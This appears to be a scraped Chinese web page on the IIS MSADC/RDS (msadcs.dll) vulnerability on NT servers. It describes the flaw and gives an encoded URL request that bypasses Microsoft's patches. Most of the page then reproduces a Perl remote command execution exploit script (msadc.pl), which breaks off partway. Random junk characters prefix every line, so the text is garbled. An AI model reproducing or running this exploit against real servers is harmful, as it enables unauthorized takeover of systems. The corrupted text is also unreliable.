IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3fn6W)v? a!xKS8-S== 涉及程序:
Y
KeOH Microsoft NT server
i%v^Zg&FU R&=Y7MfZ 描述:
'<$(* 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
N2xgyKy~ 7@|(z:uw 详细:
6^}GXfJAc 如果你没有时间读详细内容的话,就删除:
cfa#a!Y4 c:\Program Files\Common Files\System\Msadc\msadcs.dll
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h#|`E#, 有关的安全问题就没有了。
9:4P7 x1?p+ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
@N"h,(^ 2t/ba3Rfk 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
xlv:+ 关于利用ODBC远程漏洞的描述,请参看:
Z'PL?;&+R lg;`I tX] http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1,9RfY V Y Q3%vH5#y 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
nD!C9G#oS http://www.microsoft.com/security/bulletins/MS99-025faq.asp 86.!sQ8b D("['`{ 这里不再论述。
l,-smK69
enK4`+.7 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
pA"pt~6 5qR76iH)/ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
,5H$Tm,6\S 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
'xvV;bi FL"I PX;S }a-ikFQ] #将下面这段保存为txt文件,然后: "perl -x 文件名"
<`~]P$ "EQ}xj #!perl
Vr`UF0_3q #
v #IC # MSADC/RDS 'usage' (aka exploit) script
ke'p8Gz #
u;J9aKD # by rain.forest.puppy
R~[
u|EC} #
9F ).i # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
wW]|ElYR= # beta test and find errors!
uWv l<{2 nakhepLN use Socket; use Getopt::Std;
h9&<-k getopts("e:vd:h:XR", \%args);
0XvMaQXQF a(BWV?A print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+!'6:F W;Ox H"eC if (!defined $args{h} && !defined $args{R}) {
J+w"{ O print qq~
{b7P1}>-* Usage: msadc.pl -h <host> { -d <delay> -X -v }
=KMd! $J\ -h <host> = host you want to scan (ip or domain)
/Y|9!{. -d <seconds> = delay between calls, default 1 second
GcHWalm -X = dump Index Server path table, if available
0 l
G\QT -v = verbose
j#<#o:If -e = external dictionary file for step 5
DZ(e^vq rL&585 Or a -R will resume a command session
c|hKo[r) SDcD(G ~; exit;}
3sHC1+ *M6M'>Tin $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
KvkiwO( if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
]J?5qR:xCy if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
(~zdS. if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
(gs"2 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
gP^'4>Jr if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
,t(y~Z
wJ rQ@,Y" if (!defined $args{R}){ $ret = &has_msadc;
nRb#M die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
6pxj9@X+ 64hr|v print "Please type the NT commandline you want to run (cmd /c assumed):\n"
@fPiGu`L . "cmd /c ";
'R,1Jmx $in=<STDIN>; chomp $in;
*.n9D $command="cmd /c " . $in ;
xGPt5l<M& V?0|#=_mE if (defined $args{R}) {&load; exit;}
(*^_wq-; / QSK$ZDC print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;'p X1T &try_btcustmr;
8 mV`|2> eWW\m[k]} print "\nStep 2: Trying to make our own DSN...";
oIQor%z &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
JY_+p9KfyQ kc1 *@<L6 print "\nStep 3: Trying known DSNs...";
QJvA &known_dsn;
\E]s]ft;+
lf[( print "\nStep 4: Trying known .mdbs...";
NrhU70y &known_mdb;
?N&"WL^| //_v"dqP{) if (defined $args{e}){
X;6&:%ZL@^ print "\nStep 5: Trying dictionary of DSN names...";
4$1sBY/ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[[LCEw xH; 4lw print "Sorry Charley...maybe next time?\n";
){L`hQ*=w exit;
GriL< =?t `cMa Fc-y/ ##############################################################################
^A;v|U !
FhN(L[=j sub sendraw { # ripped and modded from whisker
gV$Lfkz sleep($delay); # it's a DoS on the server! At least on mine...
w3fi2B&q my ($pstr)=@_;
*:_xy{m\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
& i)p^AmM die("Socket problems\n");
|A[Le
;, if(connect(S,pack "SnA4x8",2,80,$target)){
-8#Of)W select(S); $|=1;
enDjP print $pstr; my @in=<S>;
| t3_E select(STDOUT); close(S);
"&77`R return @in;
;,'eO i } else { die("Can't connect...\n"); }}
$l 0^2o= <+
>y GPp ##############################################################################
j""u:l^+x &AoXv`l4 sub make_header { # make the HTTP request
:
-te my $msadc=<<EOT
CP["N(fF POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
mWfzL'* User-Agent: ACTIVEDATA
Ub4j3` Host: $ip
j]M$>2; Content-Length: $clen
<